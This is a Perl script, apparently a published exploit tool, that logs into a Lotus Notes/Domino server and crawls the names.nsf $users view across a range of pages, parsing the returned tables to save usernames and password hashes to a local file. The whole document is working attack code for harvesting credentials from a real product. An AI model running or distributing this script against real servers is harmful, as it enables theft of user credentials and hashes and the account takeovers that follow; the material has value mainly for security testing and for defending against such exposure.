#! /usr/bin/perl -w
# 
# Script made by Adrian Puente for Sm4rt Security Services
# shouts to: adrian _at_ sm4rt _dot_ com
# and apuente _at_ hackarandas _dot_ com 
#
# It attacks a Lotus Notes vulnerability and downloads the NFS
# files with the users and hashes.
# 
# Requires LWP::UserAgent, HTMLStrip, HTTP::Cookies amd HTML::Parser. Install them with.
# perl -MCPAN -e 'install HTTP::Cookies'
# perl -MCPAN -e 'install HTML::Parser'
# perl -MCPAN -e 'install LWP::UserAgent'
# perl -MCPAN -e 'install HTML::Strip'

package HTMLStrip;

use strict; 

use LWP::UserAgent;
use HTTP::Cookies;
use base "HTML::Parser";

my $url = 'http://IP'; 
my $user = 'user';
my $password = 'password';
my $pagini = 580;
my $pagfin = 700;

sub text
{
        my ($self, $text) = @_;
	open(ARCH, ">> password.list.txt") or die "Cannot open the file\n";
	print ARCH $text;
	close (ARCH);
}

sub Parsea 
{
	#Creamos 2 banderas, una para saber que estamos copiando una tabla
	#otra para recorrer el arreglos de tablas
	my $TABLA=0;
	my $CONT=0;
	my @tablas;
	$tablas[0]="";
	
	#Separamos las tablas del código HTML
	foreach my $line (@_)
	{
		#Buscamos el inicio de la tabla y de encontrarlo habilitamos la 
		#bandera para copiar el contenido de la tabla
		if ($line =~ m/table/i)
	     	{	
	     		#print "inicio\n"; 
			$TABLA=1; 
	     	}
	
		#Buscamos el final de la tabla y de encontrarlo deshabilitamos la 
		#bandera para dejar de copiar el contenido de la tabla
		if ($line =~ m/\/\s*table/i)
		{
	    		#print "fin\n"; 
			$tablas[$CONT] = $tablas[$CONT].$line;
			$TABLA=0; $CONT++; 
			$tablas[$CONT]="";
		}
	
		#Si la bandera esta habilitada concatenamos el contenido
		#de la tabla a una cadena.
	     	if ( $TABLA )
	     	{
	     		#print "Tabla\n";
			$tablas[$CONT] = $tablas[$CONT].$line;
	     	}
	     
	} 
	print "Number of tables found: $#tablas\n";

	#Para debugeo
	#open(ARCH, "> arch.txt");
	#for (my $i=0; $i<$#tablas ; $i++)
	#{
	#	print ARCH "-------------[ $i ]------------";
	#	print ARCH $tablas[$i];
	#}
	#close (ARCH);
	
	#Separamos las tabla que nos interesa en un arreglo de lineas
	my @lineas = split(/<\s*tr\s*\S*>/i, $tablas[4]);
	
	#Para debugeo
	#for ( $i=0 ; $i<$#lineas ; $i++ )
	#{
	#	print "Linea $i, dato $lineas[$i]\n";
	#}
	
	#Para debugeo
	#separamos la linea que nos interesa en otro arreglo de celdas
	#my @celdas = split(/<\s*td\s*\S*>/i, $lineas[3]);
	#for ( $i=0 ; $i<$#celdas ; $i++ )
	#{
	#	print "Celda $i, dato $celdas[$i]\n";
	#}
	
	my $p = new HTMLStrip;
	#Recorremos cada Linea sacando las celdas que nos interesan
	print "Number of lines processed: $#lineas\n";
	for ( my $w=2 ; $w < $#lineas ; $w++ ) 
	{
		my @celdas = split( /<\s*td\s*\S*>/i , $lineas[$w]);
		my $salida=$celdas[2].":".$celdas[15].":".$celdas[17]."\n";
        	$p->parse($salida);	
	}
}

print "###################################\n";
print "##                               ##\n";
print "##   NSF WebCrawler by Chocobo   ##\n";
print "##  - Sm4rt Security Services -  ##\n";
print "##                               ##\n";
print "###################################\n\n";
# Create a user agent object
my $ua = LWP::UserAgent->new(requests_redirectable => ['GET', 'HEAD', 'POST']);
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; rv:1.8) Gecko/20060219 Firefox/1.5");
$ua->cookie_jar(HTTP::Cookies->new(file => "lotus.crawler.txt",autosave => 1));

my $res = $ua->post( $url."/names.nsf?Login", 
			['%%ModDate' => '007D306464626439', 
			Username => $user, 
			Password => $password , 
			RedirectTo => '/'] );

for ( my $i = $pagini ; $i <= $pagfin ; $i++ )
{
	print "----------[Page $i]----------\n";
	print "Downloading "; 
	$res = $ua->get ( $url."/names.nsf/\$users?OpenView&Start=".$i );
	print "DONE status : ".$res->status_line."\n";
	print "Parsing file.\n";
	Parsea( split (/\n/, $res->content) );
}
print "-------------------------------\n";

